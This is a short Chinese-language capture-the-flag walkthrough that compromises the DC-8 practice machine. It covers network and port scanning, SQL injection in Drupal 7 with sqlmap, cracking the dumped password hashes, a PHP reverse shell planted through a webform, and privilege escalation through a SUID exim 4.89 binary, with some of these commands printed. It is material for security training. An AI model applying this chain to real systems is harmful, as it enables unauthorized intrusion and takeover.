靶机-DC8

Administrator

2025-07-15

靶机

2

查找靶机IP

netdiscover -r 192.168.253.0/24

端口扫描

masscan 192.168.253.140 --ports 0-65535 --rate=10000

nmap扫描

nmap -T5 -A -p- 192.168.253.140

目录扫描

dirsearch -u 192.168.253.140

http://192.168.253.140/

指纹Drupal 7令人注意

一些文档

http://192.168.253.140/COPYRIGHT.txt

http://192.168.253.140/CHANGELOG.txt

http://192.168.253.140/INSTALL.pgsql.txt

http://192.168.253.140/INSTALL.mysql.txt

http://192.168.253.140/INSTALL.txt

http://192.168.253.140/LICENSE.txt

http://192.168.253.140/MAINTAINERS.txt

http://192.168.253.140/README.txt

http://192.168.253.140/UPGRADE.txt

http://192.168.253.140/sites/all/libraries/README.txt

禁止访问

http://192.168.253.140/includes/

http://192.168.253.140/misc/

http://192.168.253.140/modules/

http://192.168.253.140/profiles/

http://192.168.253.140/install.php

http://192.168.253.140/robots.txt

http://192.168.253.140/xmlrpc.php

http://192.168.253.140/?nid=1发现报错注入

sqlmap一把梭

利用john爆破密码

admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |

john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

用户: john 密码: turtle

ssh远程登录失败，发现需要使用公私钥登录

去主页登录

http://192.168.253.140/user/

在contact us >webform >form settings中发现可以上传php代码

在contact us留言反弹shell

python -c 'import pty;pty.spawn(“/bin/bash”)'交互shell界面

执行命令发现为www-data权限，查看下SUID权限的命令

find / -perm -u=s -type f 2>/dev/null查找

发现exim4命令，查看版本发现为exim 4.89

查找相关漏洞

查看脚本路径

下载到当前目录

查看用法

python -m http.server 8000

执行发现还是www

参考下面方法加参数尝试

用第一个不成功

改用第二个

成功获得root权限，找到flag